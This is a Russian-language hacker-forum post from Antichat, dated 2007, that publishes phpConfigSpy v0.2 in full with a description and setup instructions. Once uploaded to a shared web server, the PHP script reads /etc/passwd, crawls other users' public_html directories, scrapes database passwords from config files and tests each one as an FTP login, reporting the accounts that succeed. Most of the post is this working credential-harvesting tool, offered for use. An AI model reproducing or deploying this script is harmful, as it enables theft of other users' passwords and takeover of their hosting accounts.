ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

phpConfigSpy v0.2
  #1  
Старый 12.01.2007, 21:23
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию phpConfigSpy v0.2

phpConfigSpy v0.2

[Описание]

phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

[Source]

PHP код:
<?php
/*
phpConfigSpy v0.2
coded by p-range #645552
(c) http://p-range.info
*/
echo '<html><head><title>phpConfigSpy v0.2</title></head><body>';
(
$sm ini_get('safe_mode') == 0) ? $sm 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);
###################
@$passwd fopen('/etc/passwd','r');
if (!
$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
$pub = array();
$users = array();
$conf = array();
$i 0;
while(!
feof($passwd))
{
    
$str fgets($passwd);
        if (
$i 35)
        {
            
$pos strpos($str,':');
            
$username substr($str,0,$pos);
            
$dirz '/home/'.$username.'/public_html/';
            if ((
$username != ''))
            {
                if (
is_readable($dirz))
                {
                    
array_push($users,$username);
                    
array_push($pub,$dirz);
                }
            }
          }
    
$i++;
}
###################
echo '<br><br><textarea cols="100" rows="20">';
echo 
"[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo 
"[+] Founded ".sizeof($pub)." readable public_html directories\n";
echo 
"[~] Searching for passwords in config files...\n\n";
foreach (
$users as $user)
{
    
$path "/home/$user/public_html/";
    
read_dir($path,$user);
}
echo 
"\n[+] Done\n";
function 
read_dir($path,$username)
{
    if (
$handle opendir($path))
    {
        while (
false !== ($file readdir($handle)))
        {
            
$fpath "$path$file";
            if ((
$file != '.') and ($file != '..'))
            {
                if (
is_readable($fpath))
                {
                    
$dr $fpath."/";
                    if (
is_dir($dr))
                    {
                        
read_dir($dr,$username);
                    }
                    else
                    {
                         if (
                             (
$file=='config.php')
                         or (
$file=='config.inc.php')
                         or (
$file=='conf.php')
                         or (
$file=='settings.php')
                         or (
$file=='setup.php')
                         or (
$file=='dbconf.php')
                         or (
$file=='dbconfig.php')
                         or (
$file=='db.inc.php')
                         or (
$file=='dbconnect.php')
                         or (
$file=='connect.php')
                         or (
$file=='index.php')
                         or (
$file=='common.php')
                         or (
$file=='config_global.php')
                         or (
$file=='db.php')
                         or (
$file=='connect.inc.php')
                         or (
$file=='dbconnect.inc.php'))
                        {
                            
$pass get_pass($fpath);
                            if (
$pass != '')
                            {
                                echo 
"[+] $fpath\n$pass\n";
                                
ftp_check($username,$pass);
                            }
                        }
                    }
                }
            }
        }
    }
}
function 
get_pass($link)
{
    @
$config fopen($link,'r');
    while(!
feof($config))
    {
        
$line fgets($config);
        if (
strstr($line,'pass')
        or 
strstr($line,'pwd')
        or 
strstr($line,'db_pass')
        or 
strstr($line,'dbpass')
        or 
strstr($line,'passwd'))
        {
            if (
strrpos($line,'"'))
            {
                
preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
                
$pass str_replace("]=\"","",$pass);
            }
            
            else
                
preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
                
$pass str_replace("]='","",$pass);
            return 
$pass[2];
        }
    }
}
function 
ftp_check($login,$pass)
{
    @
$ftp ftp_connect('127.0.0.1');
    if (
$ftp)
    {
        @
$res ftp_login($ftp,$login,$pass);
        if (
$res)
        {
            echo 
'[FTP] '.$login.':'.$pass."  Success !\n";
        }
        else 
ftp_quit($ftp);
    }
}
echo 
'</textarea><br><br>Coded by <b>$re@m3r</b> & <b>p-range</b>  <a href=http://p-range.info>p-range.info</a></body></html>';
?>
[Установка]

phpConfigSpy работает только при SAFE_MODE = OFF.
Для установки просто отредактируйте 24 строку скрипта:
Цитата:
$dirz = '/home/'.$username.'/public_html/';
и 43 стоку:
Цитата:
$path = '/home/'.$user.'/public_html/';
на соответствующий путь до веб-директории пользователей.
Затем заливайте на сервер и запускайте через браузер.

[Что нового]
В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.

Последнюю версию скрипта можно скачать здесь.
Coded by p-range & $re@m3r

Последний раз редактировалось p-range; 19.05.2007 в 17:42..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ